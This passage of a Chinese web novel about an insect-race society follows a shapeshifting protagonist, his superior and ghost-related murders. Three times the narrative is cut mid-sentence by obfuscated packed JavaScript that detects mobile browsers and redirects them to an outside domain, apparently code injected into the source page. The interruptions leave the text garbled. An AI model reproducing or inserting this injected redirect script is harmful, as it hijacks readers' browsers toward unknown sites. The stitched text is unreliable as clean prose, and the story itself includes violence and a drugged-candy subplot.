雌虫与雄虫一块坐着同桌用餐?这在虫族是不可能存在的事。雄虫用餐时,雌虫必须跪着侍奉,为雄虫夹菜、盛汤、切牛排、挑鱼刺等。身份高一些的雌虫还可以在雄虫用餐时夹一些菜吃,身份低的就只能等待用餐结束后去吃残羹剩饭。 “别在意那什么破规矩,在这儿哥的话就是规矩,让你坐你就好好坐着。”厄眠把食物推到他跟前,“又瘦又矮怪难看的,以后家里的剩菜剩饭全交给你。” 塔慕斯动作僵硬地夹起一个大肉丸子,咬都没咬直接一整个填进嘴里,消瘦内陷的脸颊顿时被撑出一个大包。 厄眠欣慰地揉着他的头,直到把头发揉得炸毛才收手。 * “蛋糕,走!哥带你捶脑壳去!” 塔慕斯本以为昨晚的话雄虫只是随口说说,没想到居然真的抡着狼牙棒要带他去干架。 厄眠把两根狼牙棒都递给塔慕斯,自己则抱着一包巨大的番茄味薯片不停往嘴里炫。 他故意捏着两片薯片在塔慕斯嘴边晃悠,在塔慕斯犹犹豫豫地张开嘴时,快速收回手把薯片填进自己嘴里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736217|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就这样反复逗了塔慕斯3次后,厄眠终于舍得把薯片喂进去。 塔慕斯一手拎着一个狼牙棒,嘴上叼着两片薯片,没有多余的手去把薯片推入口中,只好抿紧嘴唇,蠕动着唇把薯片一点点地送入口中。 厄眠提前向酒吧的小九打听了消息,以雄虫的名义随便找个理由把在酒吧欺辱过塔慕斯的雌虫约到某个废弃的地下室。 小九约雌虫的理由简单得很,称雄虫阁下看上了他们,想约个会。 虽然奇怪约会地点是废弃阴暗的地下室,可雌虫们还是花费不少心思打扮了自己,以将最好的一面呈现到雄虫阁下面前,说不定运气好还能获得宠爱成为雌君。 “希泽迩阁下,上午好。”打扮精致的雌虫整齐地跪成一排,甚至故意解开扣子露出胸膛,幻想着今天就能与这位B级的雄虫阁下渡过美妙的一晚。 “别怕,只管捶就行了,出什么事哥给你兜着。”厄眠搓了把塔慕斯的脑袋,“小矮子会打架么?哥教你?” “会。”塔慕斯抡着狼牙棒过去。 等待着与雄虫阁下约会的雌虫们:“?” 这确定是约会而不是约架? 面前这位可是仅占虫族雄虫总数5%的B级雄虫,尊贵的B级雄虫让他们挨打,他们只能乖乖受着。 塔慕斯下手很有技巧,看着力度轻飘飘的,实则每一下都打在对疼痛较为敏感的部位,又控制着力度防止他们昏迷,尽最大程度带去更多疼痛。 耳边是凄厉的求饶与痛呼,持着武器的手举起又落下,皮肉开裂,骨头断裂,温热的血液溅到脸上。 塔慕斯的神情始终毫无波澜,如一台写好程序只会服从命令的机器。 厄眠还担心塔慕斯那瘦弱的小身板举不起一共30多斤的狼牙棒,现在看来那些担忧反而太过多余。 这个小矮子可是虫族未来的第九十七军军队统领,听说连一艘小型飞行器都能徒手掀飞,怎么可能举不起区区30多斤的东西? 至于掀飞一艘小型飞行器……估计现在不行,现在的塔慕斯营养不良又瘦又矮,身高也就一米七出头,体重估计都没三位数。 于是厄眠决定买几斤大肥肉给他补补。 施暴者中当然也不缺雄虫。 厄眠大致了解了虫族“雄尊雌卑”的制度,如果让塔慕斯去捶那些雄虫,立即就会被判个虐待雄虫罪关起来,严重些甚至可能被处死。 他让塔慕斯在飞行器中等着,自己抡着带血的狼牙棒冲进那些雄虫的住处,二话不说就开揍,三下两下把雄虫捶得爬不起来。 由于担心对方讹钱找事,厄眠还特意把雄虫的衣服扒光拍下照片。 虽然同为雄虫,可对方的等级是低等的E级,比B级的厄眠低了足足三个等级,厄眠手中又有照片作为把柄,对方只能闷头承受,估计想破脑袋都想不到自己被捶的原因居然是因为伤害了一名低贱的雌虫。 厄眠把终端屏幕凑近塔慕斯:“小矮子,解气没?” 照片上的雄虫倒在血泊中,眼泪鼻涕淌了一脸。 塔慕斯低低“嗯”了声,眸中掠过厄眠无法解读的情绪。 一路无话。 厄眠思索了许久,才隐约懂得那眼神中包含的情绪,茫然、困惑、憎恨、悲哀、忧虑……太复杂了,似乎什么都有,却唯独没有报复后的快意。 为什么? 骄阳西斜,美丽的霞光倾洒下来。厄眠认真凝视那双落满霞光的蓝色眼眸,试图从中解读出答案。 塔慕斯安静地坐在铺满青草的院落中,微扬脖颈注视天边的绚丽晚霞。 晚霞为他镀上一层温暖的色泽,连同手腕缠绕的白色纱布也被裹上漂亮的橙红色。 携着暖意的微风中,塔慕斯无意识地碰了碰纱布,纱布之下是一块凹凸不平的嫩红色皮肉,一块被自己亲手剥除掉表层皮肤的皮肉。 7. “触手?” “厄眠,再不起床把你的这几个肉包子喂狗了。” 熟悉的声线伴随着敲门声传入耳朵。 睁开眼睛,入目是一间狭小的卧室。 回来了。 厄眠坐起身正要推门出去,忽地想到什么立即转身回去,拿起床头的抑制环,将身体融化成一滩透明的粘液从金属环中穿过。 粘液在柔软的床单上留下湿润的痕迹,快速蠕动成一个人形轮廓,而后露出皮肤、五官与头发。 抑制环这东西可是黑心上司用于威胁奴役他的工具,万一被发现他能随时摘下,到时恐怕得换别的威胁手段,比如说减工资或者克扣红糖馒头。 “别敲了,敲得心烦。”厄眠烦闷地搓着头发,一开门就看见三个香喷喷的大肉包,不耐烦的神色立即变成了带着讨好的微笑,“早啊,局长。” 边说边伸手去拿肉包子,生怕塔慕斯下一秒就把包子扔出去喂狗,毕竟塔慕斯真干过这样的事,把本属于他的一个肉包子喂给街道上的流浪狗,当时要不是旁边有不少路人看着,他高低得在肉包子进狗嘴之前抢回来。 塔慕斯打量着他。 动作匆忙,头发凌乱,语气不耐,领口歪斜,裤子松垮地搭在腰上,床单上甚至还残留有一些水渍。 塔慕斯“啧”了声,意味深长地挑挑眉:“打扰了。” “嗯?”厄眠边啃包子边迷惑地看他,不明白这货咋突然变这么客气了。 “F区发生一起灵异事件,跟我去一趟。”顿了顿,塔慕斯问,“解决出来了么?再等你3分钟?” 厄眠觉得这话有些奇怪,思考片刻,认为塔慕斯应该是在问他3分钟内能不能吃完三个大肉包子,于是回答:“要不了1分钟。” 塔慕斯嗤笑一声,贴心地为他带上门。 “关啥门啊?哥吃包子还能碍着你?”厄眠边炫大包子边嘟囔着,觉得还是小时候的塔慕斯更顺眼些,当然要是话能稍微多一些,多喊几声哥哥多对他笑笑就更顺眼了。 * 0918-L星,F区。 被警戒线封住的小巷中弥漫着一股刺鼻的腐臭气息,年轻雌虫的尸体以一种扭曲的姿态跪在遍布深绿色霉菌的墙角。 尸体的腹部被捅出一个窟窿,双膝着地,背脊向下弓起,双臂交叉摆在胸前,头高高地昂着,两侧脸颊向内侧凹陷,面部浮现出诡异的淡绿色纹路,一对眼球被完整地剥除,只余下两颗黑洞洞的眼眶。 警员简洁地描述情况:“死者名为菲珂,17岁,监控显示,菲珂在昨晚十点下晚自习后与三名雌虫一同进入小巷,22:56分三名雌虫离开巷子。菲珂的死亡时间初步判断为23:00~23:25之间,在此期间巷外的监控没有拍摄到任何人出入巷子。” “我们从死者体内检验出大量与1级粘液类恶灵类似的霉菌,因此联系到您。这次的恶灵比较难处理,我们把附近的监控调查了遍,没有发现丝毫恶灵的踪迹。” 塔慕斯蹲下身子,戴着白色手套的手轻轻触碰死者面部的淡绿色纹路。 厄眠站在警戒线外瞅了塔慕斯一会儿,想着反正恶灵还未找到,现在也没自己啥事,于是就打算混入人群溜走。 这边刚转过身,后脑就被一个东西砸中。 “别溜,过来。”塔慕斯说。 厄眠捡起砸过来的糖果,剥着糖纸走过去。 糖纸剥开,不过里面不是糖果,是个白色小纸团。 厄眠:“……” 他就知道这货不会好端端地送他一颗糖!抠门! 塔慕斯伸手去掀厄眠的外衣,解下他工作证旁的黑色挂件,将挂件贴近死者面部的绿色纹路。 挂件浮现出一层极淡的黑色光晕,吸取着恶灵残留的煞气。 塔慕斯捏着挂件的手指漫上淡淡的黑色,身体被外溢的煞气缓缓侵蚀。 厄眠张了张唇,把到嘴边的话压回去,并把糖纸里裹着的小纸团狠狠砸向塔慕斯的脑袋。 小纸团砸中塔慕斯的脑袋后“啪叽”一个回弹,弹中厄眠的侧脸。 于是厄眠达成成就——伤敌0.001,自损0.0005。 尸体中残存的煞气很快被吞噬干净,容器在塔慕斯手中贪婪地震动着,指引他去寻找这股煞气的源头。 黑色从指尖扩散到手心,过不了多久,塔慕斯的整只手掌便会被煞气污染。厄眠难得发了善心,伸手去要那个小挂件。 手掌还未完全摊开,挂件便被递到手上,速度快得像在专门等他一样。 很好,亏他还以为这货改邪归正了那么一点儿,结果呢?结果就等着他主动伸手过去,直接强行塞给他不就行了?非要装这几分钟的老好人。 厄眠气的咬咬牙:“下次你就算黑成一块碳哥都不伸手,看你能装到什么时候!” 塔慕斯淡淡“嗯”了声:“带路。” “带个糖醋鸭脖的路!不带!”厄眠拒绝。 “中午加餐,两个奶香馒头。”塔慕斯推出筹码。 厄眠阴阳怪气地“哦”了声,随便从路旁找了棵树,然后就靠在树旁不动弹了。 当过几天雄虫,他现在可是一只品尝过许多山珍海味的怪物,区区两个带着一点儿奶香味的白馒头可使唤不动他。 “没空跟你掰扯,直接提要求。”塔慕斯说。 “奶油蛋糕,草莓味的,双层。”厄眠提出要求。 “好。”塔慕斯应下。 “好嘞局长,速战速决,捶爆它脑壳。”厄眠工作的动力一下子就上来了。 几分钟后,他们顺着煞气容器的指引钻入某个布满青苔的下水道,在阴暗狭隘的空间中缓缓前进,下水道的高度有限,两人不得不弓腰低头。 狭小的通道仅供一人通行,塔慕斯走在后方,声音很低地喊了声厄眠的名字。 厄眠:“说。” “警方发来消息,发现第二名死者,死状与菲珂基本一致,被挖掉两颗眼睛,我看了两名死者生前的照片,他们的瞳孔颜色一致,巧了,和你一样。”塔慕斯说。 厄眠的动作顿了顿,淡淡“嗯”了声。 “这件容器你戴了有一段时间,它似乎不会对你产生影响。”塔慕斯说。 “有影响,你看不出来而已,我的内脏正在慢慢腐败,指不定哪天人就没了,到时候你哭都没地方哭。”厄眠咳嗽两声,装出一副虚弱的模样。 “哭?少个人蹭饭,高兴得很。”塔慕斯跟得很紧,厄眠突然一停,塔慕斯就几乎要撞上去。 “蛋糕。”厄眠想回头,可空间太小脑袋扭不过去。 人形身体就是麻烦。 “这件事解决后给你买。”塔慕斯说。 厄眠又喊了声:“蛋糕。” 塔慕斯不耐地推了推他。 厄眠不再言语。 十多年呢,这货估计早忘了他借的那5千币,估计就算记得,按塔慕斯这没良心的德行也不会认账还钱。 穷啊穷,穷死了! 【求求,求求,求求……】 前方传来微弱的声音,音色稚嫩。 “砰!”刺耳的枪声从耳边响起,厄眠嗅到了硝烟的气息,微微侧过头,面颊正好碰到发热的枪口。 厄眠:“……” 一声不吭地贴着他的脸开枪,这货绝对是故意的! “走快,看看死透没。”塔慕斯抬起膝盖踢了踢他的屁股。 为了工资,为了保住这个雌虫ID,为了双层小蛋糕,忍! 恶灵是一颗绿色的小毛球,身体被子弹射出一个洞,浓稠的绿色液体顺着伤口向外喷涌。 塔慕斯再次抬起膝盖踹了下厄眠,说:“干活。” 厄眠黑着脸吞掉恶灵,提醒道:“奶油蛋糕,草莓味双层。” 塔慕斯说:“事情没结束,这种强度的恶灵明显只有1级,攻击力与速度都远不如成年雌虫。第二名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736218|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受害者是A级雌虫,职业拳击手,身体状态正常,事发时正在家中吃早餐,不可能躲不过1级恶灵的伤害,必有更高等级的恶灵在旁协助。” 厄眠晃了晃手中安静下去的器具:“没反应了,怎么找?” “先解决掉杀死第二名受害者的另一只1级恶灵,然后回家睡几觉,等恶灵主动上门。”塔慕斯在狭小的空间中调转身体。 厄眠转身跟上他,晃了晃手中的小挂件,说:“你确定它会主动过来?这东西顶多只能吸引3级恶灵,对方可能是4、5级。” “谁说用这东西?”塔慕斯说,“我说过,你的瞳色与受害者一致。” “哦——这是等着我被挖眼珠子呢。”厄眠此刻走在塔慕斯后方,抬起膝盖用力踢了踢他的屁股。 “奶油蛋糕。”塔慕斯威胁。 厄眠立即老实下去。 * 预支了40天工资的厄眠现在身上是半分钱都没有,天天馋路边的小吃馋得不行。听黑心上司说,星球总督对这两起恶灵伤人事件格外重视的,早些解决说不定能得到一笔奖金。 恶灵畏惧厄眠的气息,压根就不敢主动往他身边凑,为了尽快得到零花钱与双层奶油蛋糕,厄眠不得不收敛气息,然后在外面到处晃悠吸引恶灵的注意。 厄眠本就不太能很好地维持人形,此时又要分出精力去隐藏气息,身体形态难免会失控。 裤子被随手扔到床边,双腿被18条滑腻的粉色触手取代。 厄眠今天刚学会玩单机小游戏,倚靠在床头玩着消消乐打发时间。 粉色触手随着消除成功的音乐声开心地向上翘起,弯曲出一道道圆润润的弧度,在柔软的被窝里轻轻摇晃。 察觉到塔慕斯的精神波动出现在门外,厄眠立即把向外张开的触手收拢成一团,用被子紧紧包裹住。 “咔”,门锁转动,塔慕斯推开门。 “说事。”厄眠瞥了他一眼,被窝中的触手收拢得更紧了,18条触手紧紧纠缠在一块,几乎要拧成一条大麻花。 “来看看你的眼珠子还在不在。”塔慕斯说。 “放心,哥的眼珠子和你的脑壳同在。”厄眠怼回去。 房间很小,床与门的距离总共也就不到两米,如果换成正常形态,这个距离厄眠是闻不到塔慕斯身上的信息素的,可曾在数个夜晚把塔慕斯紧紧缠绕用力吸吮的触手就不一样了。 隔着一层被子,触手都能敏锐地感知到那香甜的柠檬糖气息,在被窝中不安分地蠕动起来,迫切地想要钻出去品尝那甜美的味道。 “门开着,恶灵出现我方便应付。”转身准备离开的瞬间,塔慕斯的余光捕捉到突然鼓起的被子,于是把转到一半的身子转了回去,探究的视线落到那动个不停的被子上。 厄眠丢下消消乐,双手紧紧揪住被子。 动个糖葫芦球的动!别动了,一群不争气的东西! 其实真不能怪触手不争气,毕竟是他这个变态天天夜里往塔慕斯的房间钻,这才让触手深深地迷恋上塔慕斯的信息素,在感知到熟悉的柠檬糖味信息素时迫不及待地想凑过去贴贴。 塔慕斯将手伸向被子,手还未来得及碰到被子,就被一条柔软湿滑的粉嫩触手纠缠住。 “唰”的一下,所有触手联合起来掀飞被子,争先恐后地往塔慕斯身上缠绕,讨好似的用触手尖尖蹭着对方的皮肤。 塔慕斯的胳膊缠绕了5条,腰间搭了6条,腿上缠着6条,还有一条动作慢没能抢到位置,急的朝着塔慕斯的脸伸过去,然后被塔慕斯“啪叽”一下抓住。 “触手?”塔慕斯好奇地打量着手中的粉色触手,用指尖轻轻戳着柔嫩的小吸盘。 可爱的小吸盘饥渴地收缩着,品尝这散发着香甜信息素的指尖,甚至还发出一丝微弱的水声。 尴尬的场面让厄眠巴不得化成粘液找个地缝钻进去! 操他蛋糕的!一群没出息的舔狗! 8. 章鱼小丸子 湿滑柔软的触感让塔慕斯好奇地多捏了几下,得到回应的触.手开心极了,用泛着一点儿嫩红色的敏感尖尖不断轻蹭他的皮肤。 “章鱼?”塔慕斯尝试缩回手指。 小吸盘却半点儿都不舍得让这几根柠檬糖味的甜甜手指离开,于是立即增加吸吮力度,最终还是拗不过塔慕斯,被迫松开好不容易吸住的手指,指腹与吸盘分离,发出一道清脆响亮的“啵”声。 “你说啥就是啥。”厄眠彻底绝望不再挣扎,任由那18根不听话的触.手纠缠对方。 “缠着我不放,这么喜欢我?”塔慕斯捏住触.手稍稍用力扯了扯,把厄眠的身子都带的向他那边移动了些。 “喜欢你?因为你的脸大得像烧饼?哥这触手就这样,见谁都想缠上去。”厄眠冷哼一声,绝不承认被这货的柠檬糖信息素迷得神魂颠倒,当然也更不会承认自己每天半夜偷偷钻进对方的卧室缠着对方猛吸这件事。 塔慕斯捧起触手仔细打量,说:“份量与水分都很足,肉质紧实,新鲜度高,味道应该不错,明天剁了做铁板章鱼。” 厄眠愣住:“哥这么威风凛凛的霸气触手你居然要拿去做铁板章鱼?” 塔慕斯盯着触手看了看又捏了捏,怎么都觉得这么个粉嫩嫩的柔软物体与“威风凛凛”“霸气”两个词汇毫不沾边,说:“很可爱,如果做成章鱼小丸子,更适合做甜口的番茄芝士味。” 厄眠当即炸毛,毛炸到一半塔慕斯突然倾斜身子凑过来,将他的触手一条条拨开。 “乱摸什么?”厄眠一巴掌呼向塔慕斯的爪子。 触手为了讨好这块美味的巨大柠檬糖,立即主动伸过去挡住厄眠的手,于是厄眠的这一巴掌就落到了自己的触手上。 厄眠简直快要气炸了。 一群没出息的舔狗!!! “找小豆芽。”塔慕斯扒拉触手的动作不停。 触手也非常顺从地向外侧张开。 “什么小豆芽?!啊啊啊!受不了了!哥今天要是不把你脑壳拧爆,哥就亲自把所有触手都做成章鱼小丸子!”厄眠紧紧压住上衣,努力遮挡住不让这货看到。 这么威风霸气的粉色触手都要被嘲笑“可爱”,那表层遍布柔软的粉色倒刺与吸盘的小豆芽……呸!大豆……啊啊啊!他都被这货气迷糊了,豆芽个屁!是萝卜才对!大大大大大萝卜!!! 总之绝对不能被看到,否则又免不了一顿嘲讽。 小豆芽还没找到,不过塔慕斯先一步被触手根部生长的几排尖尖的白色小牙齿吸引了目光,好奇地伸手去摸。 触手收拢,将这只美味的爪子紧紧包裹住,塔慕斯稍微用力扯了把触手尖尖,感受到疼痛,触手才不舍地放开主动伸入口中的食物。 塔慕斯把多出几排浅淡咬痕的手伸到厄眠面前,说:“补偿,1000币。” “1000?你个坏柠檬做什么白日大馒头梦呢?分明是你自己非要伸手,被咬了怪你活该!半个币都没有,滚!” 厄眠一根根地拽着缠绕到塔慕斯身上的触手,可胳膊只有两个,触手却有18根,拽回这根那根跑回去,把那根拽回来这根又缠绕上去。 “出血了。”塔慕斯指着咬痕处溢出的一点儿红色。 “哪呢?”厄眠攥住他的手使劲糊拉,快速把那点儿血擦除干净,“别睁眼说瞎话。” S级雌虫的恢复力极强,塔慕斯的伤口又只破了一层皮,这点儿小伤不过几秒钟就能愈合。 塔慕斯蹙眉。 啧,讹钱失败。 “长时间脱水会不会萎?”塔慕斯攥着湿润的触手坐到床边。 “哟,这么关心我?啥时候长良心了?”厄眠语气阴阳。 “担心明天触手吃起来不新鲜。”在他炸毛之前,塔慕斯捂住他的唇,比了个噤声的手势。 厄眠同样察觉到异样,想到奖金与双层奶油蛋糕,配合地闭上嘴。 塔慕斯起身离开房间。 片刻后,紧贴着床的那面墙浮现大片绿色霉菌,霉菌延伸出墙壁,在半空集聚成一根布满尖刺的绿色藤蔓。 藤蔓中间裂开一道口子,蹦出一只球状的绿色恶灵,小恶灵缩到房间的一角,等待藤蔓杀死猎物后过去吞噬血肉。 子弹贴着厄眠的身子划过,精准地射中藤蔓,受伤的藤蔓吐出腥臭而黏稠的绿色液体,蠕动着往回缩。 随着枪声的落下,塔慕斯出现在藤蔓前方,将粗粝的藤蔓一整条从墙面扯出,尖锐的刀刃将藤蔓表层的刺平整地削除,不过片刻就把一条通体带刺的藤蔓削成一个光滑的绿色……触手。 厄眠瞥了眼塔慕斯,把在床上凌乱摊开的触手收拢到一块,拿被子遮盖严实。 “怂了?现在讨好哥还来得及,否则明天的午餐……”塔慕斯似笑非笑地盯着他的触手。 恶灵抓到手,厄眠不再需要刻意压制气息,于是立即恢复双腿,在倒刺萝卜被塔慕斯看见之前快速套上裤子。 原本还在塔慕斯手中挣扎的藤蔓感受到厄眠身上透出的可怕气息,立即停止挣扎,蜷缩成一团不断战栗。 “怂个包子怂!被子脏了,给我买新的。”厄眠三下两下扯掉藤蔓的外皮,剥出一块巨大的长条形内胆。 “刀给我。”厄眠从塔慕斯手中接过刀刃,用刀尖轻轻划破内胆,把里面的雌虫拎出来。 雌虫很瘦弱,穿着尺码不符的校服,眼中带着茫然:“塔,塔慕斯少将?您怎么在我家……” 话到一半,雌虫才猛然察觉到这陌生的环境,眼底染上恐惧:“这是哪?我为什么会在……” “晕了。”厄眠晃了晃雌虫的身体。 “后面没你事了,好好休息养足精神,明天吃起来味道才更鲜美。”塔慕斯扶起地上的雌虫离开。 厄眠瞪着他的背影:“鲜美个屁!” * “立大功了啊,局长今天斥巨资给你买了四个牛肉馅的包子。”以卡把包子递过去。 接过包子,厄眠淡淡“嗯”了声。 “奖金估计就快打到账上了,局长说今天中午吃海鲜大餐。”以卡啃着三明治,手指在虚拟键盘上快速移动。 海鲜大餐?章鱼小丸子味的海鲜大餐? 厄眠使劲踹了脚塔慕斯的办公桌:“塔慕斯滚那儿去了?” “去昨夜那学生家了。”以卡回答。 “地址发我。”厄眠端起桌边的咖啡。 “怪敬业的。”以卡把地址发过去,咽下最后一口三明治,伸手去拿咖啡杯,杯子的重量不太对,低头一看,杯子空了。 罪魁祸首已经坐上飞行器,边输入地址边嫌弃地咂咂嘴。 什么破咖啡?苦,不好喝。 * 推开门,塔慕斯对上厄眠的视线,目光下垂直勾勾地盯着厄眠的腿,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736219|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不是腿,而是美味的铁板章鱼与番茄芝士味章鱼小丸子。 厄眠伸脚抵住门,快速把整个身子从门缝中挤进去。 雌虫的住处很小,狭小的空间被床、书桌、柜子挤满,厄眠不得不紧贴着塔慕斯站立。 下一刻,厄眠被摆满一整张书桌的图片吸引目光。 红色锦旗、金色奖章、荣誉证书……挂了满满一整面墙,每一分荣誉的署名无疑都是“塔慕斯”。这张图片的右上角印着某某新闻的水印,显然是图片的主人在看电视频道时,刻意截图打印出来的。 厄眠拿起这张图,图片下方压着一张很大的海报。 海报里的塔慕斯身着冷酷的黑色军装,腰间别着一把黑色枪支,军裤将双腿衬得笔直修长,深色军帽一丝不苟地戴在深蓝色短发之上。 他的身后是沾满血液与硝烟气息的战舰,打了胜仗的军队将领凯旋归来,帽子与肩头处那几颗代表着军衔的金色星星在人群的簇拥与热烈的阳光之中闪闪发光。 下一张海报,塔慕斯冷峻的面容上溅了猩红的血,被子弹划破的军装略显凌乱,这点枪伤对军雌造不成丝毫影响,沉静地扛着炮.枪,眼神冷冽地注视前方。 最吸引厄眠的是军雌背部的那双银白色翅翼,翅翼之上迸溅了不少血,浓稠的血水沿着翅翼锋利的边缘向下滴落,在战火弥漫的夜幕下闪烁出凌厉的冷光。 还……怪酷的,不过也就比他的粉色触手酷那么一点点儿。 “好看?” 厄眠的思绪被塔慕斯的声音打断,有些尴尬地移开视线,口是心口道:“好看个坏柠檬!你哪来的脸?” 雌虫整理着桌上的图片,说:“我叫蒲桑缇,16岁,是少将的粉丝,粉了少将整整5年!少将真的超级酷!” 图片中那双在夜幕下展开的银白色翅翼在厄眠脑海中挥之不去。 作为一个在夜间无数次缠绕住塔慕斯细细吸吮的变态,他自然对塔慕斯的身体无比熟悉。 对方背部的肩胛骨中本应镶嵌翼骨的位置凹陷出两个丑陋的洞,据说是战中被俘,敌军残忍地将翼骨整块剥除。 厄眠缓缓回过神,看了看蒲桑缇那细胳膊细腿的模样,说:“是挺像粉丝的。” 塔慕斯淡淡说:“除了土豆炖牛肉里的粉丝,粉丝还有另一个意思——崇拜者。” 厄眠:“……” 这货咋知道他想的是土豆炖牛肉里的粉丝? 不对,这货在嘲笑他没文化只顾着吃! “现在可以离开了。”塔慕斯下达驱逐令。 “偏不。”厄眠往床上一坐,态度强硬地翘起二郎腿。 塔慕斯不再搭理他,看向蒲桑缇,开口道:“今日凌晨4点到5点之间,你所在的C区二十三中有5名高一生与2名高二生死亡,死者中有3名与你同班,死亡地点学校宿舍,死因是被利刃割断喉咙。” “除此之外还有与菲珂一同进入小巷的3名雌虫,他们的死亡时间比菲珂晚半小时,死法与C区二十三中的7名雌虫一致,被一刀割喉。顺带一提,C区二十三中的7位受害者中,有3位与你是同班同学。” “由于现场没有恶灵留下的痕迹,这10名雌虫的死暂时被视为非灵异的正常案件,目前正由警方调查凶手。” 蒲桑缇低低地垂着头,捏着海报的指尖微微泛白,声音很轻地说:“您猜的没错,他们是我杀的。” 9. 打架 “如果你愿意付出一些代价……”塔慕斯从口袋中取出一颗墨绿色的圆形晶体,“我可以保下你。” 蒲桑缇缓慢地接过晶体,触碰到晶体时,掌心立即浮现出大片诡谲的绿色霉菌。 蒲桑缇的躯体剧烈颤动起来,绿色霉菌爬满眼球,凸起的青色血管撑起皮肤,仿佛下一秒就要爆裂开。 他痛苦地倒下去,口中吐出含糊不清的痛呼,血肉被快速吸食,身体以肉眼可见的速度变得干瘦。 厄眠眸光晦暗不明,抬眼凝视塔慕斯那双漂亮的海蓝色眼眸。 两道视线在半空相碰,塔慕斯的目光淡漠而沉冷,宛如一种精致美丽的无机质。 晶体融入蒲桑缇体内,眼球的霉菌渐渐消褪,他的身子停止颤抖,喘.息着艰难地支撑起身子,用嘶哑的、带着痛苦与憎恨的声音说:“少将,他们该死,他们全部该死!” “我知道。”塔慕斯低头操控终端,“收拾收拾搬去调查局住,我会帮你换一所学校,先休息两天再去上课。那股不属于你的力量别再用了,有事随时联系我。” 蒲桑缇忽地平静下去,望着被晶体侵蚀得发黑发烂的掌心出神。 “忍一忍,到了局里给你取支修复液。”塔慕斯说,“你如何得到的恶灵的力量?恶灵为什么以拥有银紫色眼睛的雌虫为目标?” 蒲桑缇回答:“我遇见一只恶灵,它告诉我只要让它寄生就能获得它的力量,他们霸凌我太久了……我的目标最初只有同校的7名雌虫,后来看到了与我一样被虐待的菲珂。” “我是孤儿,手中已经有了7条命,横竖都是死刑,于是在恶灵杀害菲珂之后,我再次借用它的力量杀死了霸凌菲珂的3名雌虫。后面我失去了一段时间的意识,它应该是在那段时间处理了菲珂的眼睛……就这些。” 塔慕斯“嗯”了声,对厄眠说:“别愣着,帮蒲桑缇收拾收拾,回去后把三楼的空房间打扫一下,把他的东西全部搬进去,中午去蛋糕店。” 听到“蛋糕”两字,厄眠忍着没顶嘴,动作迅速地帮忙装书抬柜子。 飞行器不断上升,在高空中快速行驶。 蒲桑缇吃了些东西,躺在后座沉沉地睡着。 厄眠坐在副驾驶,自觉地把手伸进塔慕斯兜里去掏糖果,说:“他本来勉勉强强可以撑个两年,你这么一搞直接把时间缩短一半。” “知道得挺多。”塔慕斯没在意他把手往自己兜里伸的举动,毕竟兜里装的糖全部添加了成瘾性的药物,专门为厄眠准备的。 “你用多少雌虫试验过?”厄眠问。 塔慕斯给蒲桑缇的东西是4级恶灵死后产生的晶源。蒲桑缇体内寄生了一只4级恶灵,恶灵在昨夜被厄眠与塔慕斯重创,能量很弱,因此蒲桑缇吸收晶源的过程将十分缓慢。必须一提的是,吸收晶源的过程会产生高浓度煞气。 厄眠摸了摸腰间能够吸取煞气的黑色挂件。 所以他的这位黑心上司刻意保下蒲桑缇并将其留在调查局,仅仅是为了方便吸取煞气。 “别管。”塔慕斯淡淡说。 “真搞不懂你究竟想干啥。”厄眠伸手撩开他的上衣。 晶源一直被塔慕斯放在上衣口袋,于是腰腹处对应的位置便被晶源侵蚀的黑了一片,不过以S级雌虫的强大自愈能力,变黑的部位不出一日便能恢复原状。 塔慕斯一巴掌拍向厄眠的手。 厄眠收回手,回头瞥了眼躺在座椅上的蒲桑缇,都睡着了怀里还紧紧抱着塔慕斯的海报。 什么粉丝?就塔慕斯这货还值得他崇拜5年?崇拜个酱香鸭屁股! 塔慕斯安静地望着窗外的天空,片刻后,才缓缓解释:“虫族的法律不会在意他是否被霸凌,事实就是他故意杀害10名雌虫,死刑。” 言外之意就是:相较于法律,他是更为“仁慈”的那一方,为蒲桑缇推迟了死期。 顿了顿,厄眠问:“我呢?” “你是异族,在迈入虫族领域的那一刻就该被处死。”塔慕斯回答。 厄眠注视他的眼睛,说:“他用身体为容器为你提供煞气,你帮他躲避法律延缓死亡,很公平。我们之间却没有一场公平的交易,你不询问我的意愿,直接用这个东西宣判我的死亡。” 塔慕斯把煞气容器伪装成一件普通的挂件交给厄眠,换做普通人,可能早已被浓郁的煞气侵蚀致死。 “公平交易?”塔慕斯丝毫不遮掩眼底的恶意,“与我讨论公不公平没有意义,我厌恶异族,尤其是你这样的小章鱼。” 厄眠不悦:“什么叫‘尤其是我这样的小章鱼’?章鱼怎么你了?” 高速行驶中的飞行器猛地一停,厄眠一头磕到操控台上。 “活该,不系安全带。”塔慕斯松开紧急停止按钮。 